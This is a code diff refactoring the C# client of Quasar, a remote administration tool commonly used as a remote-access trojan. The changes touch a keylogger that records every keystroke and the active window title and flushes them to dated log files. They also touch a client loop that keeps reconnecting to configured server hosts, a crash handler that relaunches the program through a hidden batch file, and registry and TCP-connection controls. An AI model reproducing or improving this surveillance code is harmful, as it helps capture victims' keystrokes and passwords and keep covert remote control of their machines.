if (disposing)
|
||||||
{
|
{
|
||||||
if (disposing)
|
|
||||||
{
|
|
||||||
if (_timerFlush != null)
|
|
||||||
{
|
|
||||||
_timerFlush.Stop();
|
|
||||||
_timerFlush.Dispose();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Unsubscribe();
|
Unsubscribe();
|
||||||
|
_timerFlush.Stop();
|
||||||
IsDisposed = true;
|
_timerFlush.Dispose();
|
||||||
|
_mEvents.Dispose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
IsDisposed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Subscribe(IKeyboardMouseEvents events)
|
/// <summary>
|
||||||
|
/// Subscribes to all key events.
|
||||||
|
/// </summary>
|
||||||
|
private void Subscribe()
|
||||||
{
|
{
|
||||||
_mEvents = events;
|
|
||||||
_mEvents.KeyDown += OnKeyDown;
|
_mEvents.KeyDown += OnKeyDown;
|
||||||
_mEvents.KeyUp += OnKeyUp;
|
_mEvents.KeyUp += OnKeyUp;
|
||||||
_mEvents.KeyPress += OnKeyPress;
|
_mEvents.KeyPress += OnKeyPress;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Unsubscribes from all key events.
|
||||||
|
/// </summary>
|
||||||
private void Unsubscribe()
|
private void Unsubscribe()
|
||||||
{
|
{
|
||||||
if (_mEvents == null) return;
|
|
||||||
_mEvents.KeyDown -= OnKeyDown;
|
_mEvents.KeyDown -= OnKeyDown;
|
||||||
_mEvents.KeyUp -= OnKeyUp;
|
_mEvents.KeyUp -= OnKeyUp;
|
||||||
_mEvents.KeyPress -= OnKeyPress;
|
_mEvents.KeyPress -= OnKeyPress;
|
||||||
_mEvents.Dispose();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
|
/// <summary>
|
||||||
|
/// Initial handling of the key down events and updates the window title.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="sender">The sender of the event.</param>
|
||||||
|
/// <param name="e">The key event args, e.g. the keycode.</param>
|
||||||
|
/// <remarks>This event handler is called first.</remarks>
|
||||||
|
private void OnKeyDown(object sender, KeyEventArgs e)
|
||||||
{
|
{
|
||||||
string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
|
string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
|
||||||
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
|
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
|
||||||
{
|
{
|
||||||
_lastWindowTitle = activeWindowTitle;
|
_lastWindowTitle = activeWindowTitle;
|
||||||
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
|
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
|
||||||
+ KeyloggerHelper.Filter(activeWindowTitle) + " - "
|
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
|
||||||
+ DateTime.Now.ToString("HH:mm")
|
+ DateTime.Now.ToString("HH:mm")
|
||||||
+ "</b>]</p><br>");
|
+ "</b>]</p><br>");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (_pressedKeys.IsModifierKeysSet())
|
if (_pressedKeys.ContainsModifierKeys())
|
||||||
{
|
{
|
||||||
if (!_pressedKeys.Contains(e.KeyCode))
|
if (!_pressedKeys.Contains(e.KeyCode))
|
||||||
{
|
{
|
||||||
|
@ -133,19 +171,24 @@ private void Unsubscribe()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//This method should be used to process all of our unicode characters
|
/// <summary>
|
||||||
private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
|
/// Processes pressed keys and appends them to the <see cref="_logFileBuffer"/>. Processing of Unicode characters starts here.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="sender">The sender of the event.</param>
|
||||||
|
/// <param name="e">The key press event args, especially the pressed KeyChar.</param>
|
||||||
|
/// <remarks>This event handler is called second.</remarks>
|
||||||
|
private void OnKeyPress(object sender, KeyPressEventArgs e)
|
||||||
{
|
{
|
||||||
if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
|
if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
|
if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||||
{
|
{
|
||||||
var filtered = KeyloggerHelper.Filter(e.KeyChar);
|
var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
|
||||||
if (!string.IsNullOrEmpty(filtered))
|
if (!string.IsNullOrEmpty(filtered))
|
||||||
{
|
{
|
||||||
Debug.WriteLine("OnKeyPress Output: " + filtered);
|
Debug.WriteLine("OnKeyPress Output: " + filtered);
|
||||||
if (_pressedKeys.IsModifierKeysSet())
|
if (_pressedKeys.ContainsModifierKeys())
|
||||||
_ignoreSpecialKeys = true;
|
_ignoreSpecialKeys = true;
|
||||||
|
|
||||||
_pressedKeyChars.Add(e.KeyChar);
|
_pressedKeyChars.Add(e.KeyChar);
|
||||||
|
@ -154,12 +197,34 @@ private void Unsubscribe()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
|
/// <summary>
|
||||||
|
/// Finishes processing of the keys.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="sender">The sender of the event.</param>
|
||||||
|
/// <param name="e">The key event args.</param>
|
||||||
|
/// <remarks>This event handler is called third.</remarks>
|
||||||
|
private void OnKeyUp(object sender, KeyEventArgs e)
|
||||||
{
|
{
|
||||||
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
|
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
|
||||||
_pressedKeyChars.Clear();
|
_pressedKeyChars.Clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Finds a held down key char in a given key char list.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="list">The list of key chars.</param>
|
||||||
|
/// <param name="search">The key char to search for.</param>
|
||||||
|
/// <returns><c>True</c> if the list contains the key char, else <c>false</c>.</returns>
|
||||||
|
private bool DetectKeyHolding(List<char> list, char search)
|
||||||
|
{
|
||||||
|
return list.FindAll(s => s.Equals(search)).Count > 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds special highlighting in HTML to the special keys.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="keys">The input keys.</param>
|
||||||
|
/// <returns>The highlighted special keys.</returns>
|
||||||
private string HighlightSpecialKeys(Keys[] keys)
|
private string HighlightSpecialKeys(Keys[] keys)
|
||||||
{
|
{
|
||||||
if (keys.Length < 1) return string.Empty;
|
if (keys.Length < 1) return string.Empty;
|
||||||
|
@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys)
|
||||||
{
|
{
|
||||||
if (!_ignoreSpecialKeys)
|
if (!_ignoreSpecialKeys)
|
||||||
{
|
{
|
||||||
names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
|
names[i] = keys[i].GetDisplayName();
|
||||||
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
|
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys)
|
||||||
|
|
||||||
_ignoreSpecialKeys = false;
|
_ignoreSpecialKeys = false;
|
||||||
|
|
||||||
if (_pressedKeys.IsModifierKeysSet())
|
if (_pressedKeys.ContainsModifierKeys())
|
||||||
{
|
{
|
||||||
StringBuilder specialKeys = new StringBuilder();
|
StringBuilder specialKeys = new StringBuilder();
|
||||||
|
|
||||||
|
@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys)
|
||||||
return normalKeys.ToString();
|
return normalKeys.ToString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
|
||||||
{
|
{
|
||||||
if (_logFileBuffer.Length > 0)
|
if (_logFileBuffer.Length > 0)
|
||||||
WriteFile();
|
WriteFile();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Writes the logged keys from memory to disk.
|
||||||
|
/// </summary>
|
||||||
private void WriteFile()
|
private void WriteFile()
|
||||||
{
|
{
|
||||||
|
// TODO: large log files take a very long time to read, decrypt and append new logs to
|
||||||
bool writeHeader = false;
|
bool writeHeader = false;
|
||||||
|
|
||||||
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
|
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
|
||||||
|
|
|
@ -1,110 +0,0 @@
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Windows.Forms;
|
|
||||||
using Quasar.Client.Helper;
|
|
||||||
|
|
||||||
namespace Quasar.Client.Logging
|
|
||||||
{
|
|
||||||
public static class KeyloggerHelper
|
|
||||||
{
|
|
||||||
#region "Extension Methods"
|
|
||||||
public static bool IsModifierKeysSet(this List<Keys> pressedKeys)
|
|
||||||
{
|
|
||||||
return pressedKeys != null &&
|
|
||||||
(pressedKeys.Contains(Keys.LControlKey)
|
|
||||||
|| pressedKeys.Contains(Keys.RControlKey)
|
|
||||||
|| pressedKeys.Contains(Keys.LMenu)
|
|
||||||
|| pressedKeys.Contains(Keys.RMenu)
|
|
||||||
|| pressedKeys.Contains(Keys.LWin)
|
|
||||||
|| pressedKeys.Contains(Keys.RWin)
|
|
||||||
|| pressedKeys.Contains(Keys.Control)
|
|
||||||
|| pressedKeys.Contains(Keys.Alt));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static bool IsModifierKey(this Keys key)
|
|
||||||
{
|
|
||||||
return (key == Keys.LControlKey
|
|
||||||
|| key == Keys.RControlKey
|
|
||||||
|| key == Keys.LMenu
|
|
||||||
|| key == Keys.RMenu
|
|
||||||
|| key == Keys.LWin
|
|
||||||
|| key == Keys.RWin
|
|
||||||
|| key == Keys.Control
|
|
||||||
|| key == Keys.Alt);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
|
|
||||||
{
|
|
||||||
return pressedKeys.Contains((Keys)char.ToUpper(c));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static bool IsExcludedKey(this Keys k)
|
|
||||||
{
|
|
||||||
// The keys below are excluded. If it is one of the keys below,
|
|
||||||
// the KeyPress event will handle these characters. If the keys
|
|
||||||
// are not any of those specified below, we can continue.
|
|
||||||
return (k >= Keys.A && k <= Keys.Z
|
|
||||||
|| k >= Keys.NumPad0 && k <= Keys.Divide
|
|
||||||
|| k >= Keys.D0 && k <= Keys.D9
|
|
||||||
|| k >= Keys.Oem1 && k <= Keys.OemClear
|
|
||||||
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|
|
||||||
|| k == Keys.CapsLock
|
|
||||||
|| k == Keys.Space);
|
|
||||||
}
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
public static bool DetectKeyHolding(List<char> list, char search)
|
|
||||||
{
|
|
||||||
return list.FindAll(s => s.Equals(search)).Count > 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static string Filter(char key)
|
|
||||||
{
|
|
||||||
if ((int)key < 32) return string.Empty;
|
|
||||||
|
|
||||||
switch (key)
|
|
||||||
{
|
|
||||||
case '<':
|
|
||||||
return "<";
|
|
||||||
case '>':
|
|
||||||
return ">";
|
|
||||||
case '#':
|
|
||||||
return "#";
|
|
||||||
case '&':
|
|
||||||
return "&";
|
|
||||||
case '"':
|
|
||||||
return """;
|
|
||||||
case '\'':
|
|
||||||
return "'";
|
|
||||||
case ' ':
|
|
||||||
return " ";
|
|
||||||
}
|
|
||||||
return key.ToString();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static string Filter(string input)
|
|
||||||
{
|
|
||||||
return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'");
|
|
||||||
}
|
|
||||||
|
|
||||||
public static string GetDisplayName(Keys key, bool altGr = false)
|
|
||||||
{
|
|
||||||
string name = key.ToString();
|
|
||||||
if (name.Contains("ControlKey"))
|
|
||||||
return "Control";
|
|
||||||
else if (name.Contains("Menu"))
|
|
||||||
return "Alt";
|
|
||||||
else if (name.Contains("Win"))
|
|
||||||
return "Win";
|
|
||||||
else if (name.Contains("Shift"))
|
|
||||||
return "Shift";
|
|
||||||
return name;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static string GetActiveWindowTitle()
|
|
||||||
{
|
|
||||||
string title = NativeMethodsHelper.GetForegroundWindowTitle();
|
|
||||||
|
|
||||||
return (!string.IsNullOrEmpty(title)) ? title : null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -4,23 +4,43 @@
|
||||||
|
|
||||||
namespace Quasar.Client.Logging
|
namespace Quasar.Client.Logging
|
||||||
{
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides a service to run the keylogger.
|
||||||
|
/// </summary>
|
||||||
public class KeyloggerService : IDisposable
|
public class KeyloggerService : IDisposable
|
||||||
{
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The thread containing the executed keylogger and message loop.
|
||||||
|
/// </summary>
|
||||||
private readonly Thread _msgLoopThread;
|
private readonly Thread _msgLoopThread;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The message loop which is needed to receive key events.
|
||||||
|
/// </summary>
|
||||||
private ApplicationContext _msgLoop;
|
private ApplicationContext _msgLoop;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides keylogging functionality.
|
||||||
|
/// </summary>
|
||||||
private Keylogger _keylogger;
|
private Keylogger _keylogger;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of <see cref="KeyloggerService"/>.
|
||||||
|
/// </summary>
|
||||||
public KeyloggerService()
|
public KeyloggerService()
|
||||||
{
|
{
|
||||||
_msgLoopThread = new Thread(() =>
|
_msgLoopThread = new Thread(() =>
|
||||||
{
|
{
|
||||||
_msgLoop = new ApplicationContext();
|
_msgLoop = new ApplicationContext();
|
||||||
_keylogger = new Keylogger(15000);
|
_keylogger = new Keylogger(15000);
|
||||||
_keylogger.StartLogging();
|
_keylogger.Start();
|
||||||
Application.Run(_msgLoop);
|
Application.Run(_msgLoop);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Starts the keylogger and message loop.
|
||||||
|
/// </summary>
|
||||||
public void Start()
|
public void Start()
|
||||||
{
|
{
|
||||||
_msgLoopThread.Start();
|
_msgLoopThread.Start();
|
||||||
|
|
|
@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message)
|
||||||
message.RemotePort == table[i].RemotePort)
|
message.RemotePort == table[i].RemotePort)
|
||||||
{
|
{
|
||||||
// it will close the connection only if client run as admin
|
// it will close the connection only if client run as admin
|
||||||
//table[i].state = (byte)ConnectionStates.Delete_TCB;
|
table[i].state = (byte) ConnectionState.Delete_TCB;
|
||||||
table[i].state = 12; // 12 for Delete_TCB state
|
|
||||||
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
|
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
|
||||||
Marshal.StructureToPtr(table[i], ptr, false);
|
Marshal.StructureToPtr(table[i], ptr, false);
|
||||||
NativeMethods.SetTcpEntry(ptr);
|
NativeMethods.SetTcpEntry(ptr);
|
||||||
|
Execute(client, new GetConnections());
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable()
|
||||||
NativeMethods.MibTcprowOwnerPid[] tTable;
|
NativeMethods.MibTcprowOwnerPid[] tTable;
|
||||||
var afInet = 2;
|
var afInet = 2;
|
||||||
var buffSize = 0;
|
var buffSize = 0;
|
||||||
var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
// retrieve correct pTcpTable size
|
||||||
|
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||||
var buffTable = Marshal.AllocHGlobal(buffSize);
|
var buffTable = Marshal.AllocHGlobal(buffSize);
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||||
if (ret != 0)
|
if (ret != 0)
|
||||||
return null;
|
return null;
|
||||||
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
|
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
|
||||||
|
|
|
@ -14,16 +14,38 @@
|
||||||
|
|
||||||
namespace Quasar.Client.Networking
|
namespace Quasar.Client.Networking
|
||||||
{
|
{
|
||||||
public class QuasarClient : Client
|
public class QuasarClient : Client, IDisposable
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// When Exiting is true, stop all running threads and exit.
|
/// Used to keep track if the client has been identified by the server.
|
||||||
|
/// </summary>
|
||||||
|
private bool _identified;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The hosts manager which contains the available hosts to connect to.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public bool Exiting { get; private set; }
|
|
||||||
public bool Identified { get; private set; }
|
|
||||||
private readonly HostsManager _hosts;
|
private readonly HostsManager _hosts;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Random number generator to slightly randomize the reconnection delay.
|
||||||
|
/// </summary>
|
||||||
private readonly SafeRandom _random;
|
private readonly SafeRandom _random;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a <see cref="_token"/> and signals cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationTokenSource _tokenSource;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The token to check for cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationToken _token;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||||
|
/// <param name="serverCertificate">The server certificate.</param>
|
||||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||||
: base(serverCertificate)
|
: base(serverCertificate)
|
||||||
{
|
{
|
||||||
|
@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat
|
||||||
base.ClientState += OnClientState;
|
base.ClientState += OnClientState;
|
||||||
base.ClientRead += OnClientRead;
|
base.ClientRead += OnClientRead;
|
||||||
base.ClientFail += OnClientFail;
|
base.ClientFail += OnClientFail;
|
||||||
|
this._tokenSource = new CancellationTokenSource();
|
||||||
|
this._token = _tokenSource.Token;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connection loop used to reconnect and keep the connection open.
|
||||||
|
/// </summary>
|
||||||
public void ConnectLoop()
|
public void ConnectLoop()
|
||||||
{
|
{
|
||||||
// TODO: do not re-use object
|
// TODO: do not re-use object
|
||||||
while (!Exiting) // Main Connect Loop
|
while (!_token.IsCancellationRequested)
|
||||||
{
|
{
|
||||||
if (!Connected)
|
if (!Connected)
|
||||||
{
|
{
|
||||||
|
@ -48,10 +75,10 @@ public void ConnectLoop()
|
||||||
|
|
||||||
while (Connected) // hold client open
|
while (Connected) // hold client open
|
||||||
{
|
{
|
||||||
Thread.Sleep(1000);
|
_token.WaitHandle.WaitOne(1000);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Exiting)
|
if (_token.IsCancellationRequested)
|
||||||
{
|
{
|
||||||
Disconnect();
|
Disconnect();
|
||||||
return;
|
return;
|
||||||
|
@ -63,12 +90,12 @@ public void ConnectLoop()
|
||||||
|
|
||||||
private void OnClientRead(Client client, IMessage message, int messageLength)
|
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||||
{
|
{
|
||||||
if (!Identified)
|
if (!_identified)
|
||||||
{
|
{
|
||||||
if (message.GetType() == typeof(ClientIdentificationResult))
|
if (message.GetType() == typeof(ClientIdentificationResult))
|
||||||
{
|
{
|
||||||
var reply = (ClientIdentificationResult) message;
|
var reply = (ClientIdentificationResult) message;
|
||||||
Identified = reply.Result;
|
_identified = reply.Result;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex)
|
||||||
|
|
||||||
private void OnClientState(Client client, bool connected)
|
private void OnClientState(Client client, bool connected)
|
||||||
{
|
{
|
||||||
Identified = false; // always reset identification
|
_identified = false; // always reset identification
|
||||||
|
|
||||||
if (connected)
|
if (connected)
|
||||||
{
|
{
|
||||||
|
@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stops the connection loop and disconnects the connection.
|
||||||
|
/// </summary>
|
||||||
public void Exit()
|
public void Exit()
|
||||||
{
|
{
|
||||||
Exiting = true;
|
_tokenSource.Cancel();
|
||||||
Disconnect();
|
Disconnect();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_tokenSource.Cancel();
|
||||||
|
_tokenSource.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -30,6 +30,7 @@
|
||||||
<Reference Include="System.Management" />
|
<Reference Include="System.Management" />
|
||||||
<Reference Include="System.Security" />
|
<Reference Include="System.Security" />
|
||||||
<Reference Include="System.ServiceModel" />
|
<Reference Include="System.ServiceModel" />
|
||||||
|
<Reference Include="System.Web" />
|
||||||
<Reference Include="System.Windows.Forms" />
|
<Reference Include="System.Windows.Forms" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|
|
@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// The client used for the connection to the server.
|
/// The client used for the connection to the server.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public QuasarClient ConnectClient;
|
private QuasarClient _connectClient;
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||||
|
@ -110,13 +110,13 @@ public void Run()
|
||||||
}
|
}
|
||||||
|
|
||||||
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||||
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||||
InitializeMessageProcessors(ConnectClient);
|
InitializeMessageProcessors(_connectClient);
|
||||||
|
|
||||||
_userActivityDetection = new ActivityDetection(ConnectClient);
|
_userActivityDetection = new ActivityDetection(_connectClient);
|
||||||
_userActivityDetection.Start();
|
_userActivityDetection.Start();
|
||||||
|
|
||||||
ConnectClient.ConnectLoop();
|
_connectClient.ConnectLoop();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
|
||||||
if (e.IsTerminating)
|
if (e.IsTerminating)
|
||||||
{
|
{
|
||||||
Debug.WriteLine(e);
|
Debug.WriteLine(e);
|
||||||
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
try
|
||||||
if (string.IsNullOrEmpty(batchFile)) return;
|
|
||||||
|
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
||||||
{
|
{
|
||||||
WindowStyle = ProcessWindowStyle.Hidden,
|
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||||
UseShellExecute = true,
|
|
||||||
FileName = batchFile
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
};
|
{
|
||||||
Process.Start(startInfo);
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
Environment.Exit(0);
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(exception);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing)
|
||||||
_keyloggerService?.Dispose();
|
_keyloggerService?.Dispose();
|
||||||
_userActivityDetection?.Dispose();
|
_userActivityDetection?.Dispose();
|
||||||
ApplicationMutex.Dispose();
|
ApplicationMutex.Dispose();
|
||||||
|
_connectClient.Dispose();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,28 +1,19 @@
|
||||||
using System;
|
using Microsoft.Win32;
|
||||||
using Microsoft.Win32;
|
|
||||||
using Quasar.Client.Extensions;
|
using Quasar.Client.Extensions;
|
||||||
using Quasar.Client.Helper;
|
using Quasar.Client.Helper;
|
||||||
using Quasar.Common.Models;
|
using Quasar.Common.Models;
|
||||||
|
using System;
|
||||||
|
|
||||||
namespace Quasar.Client.Registry
|
namespace Quasar.Client.Registry
|
||||||
{
|
{
|
||||||
public class RegistryEditor
|
public class RegistryEditor
|
||||||
{
|
{
|
||||||
|
|
||||||
#region CONSTANTS
|
|
||||||
|
|
||||||
#region RegistryKey
|
|
||||||
|
|
||||||
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
|
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
|
||||||
|
|
||||||
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
|
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
|
||||||
|
|
||||||
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
|
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#region RegistryValue
|
|
||||||
|
|
||||||
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
||||||
|
|
||||||
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
||||||
|
@ -31,17 +22,12 @@ public class RegistryEditor
|
||||||
|
|
||||||
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
|
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#region RegistryKey
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to create the desired sub key to the specified parent.
|
/// Attempts to create the desired sub key to the specified parent.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||||
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||||
/// <returns>Returns true if action succeeded.</returns>
|
/// <returns>Returns true if action succeeded.</returns>
|
||||||
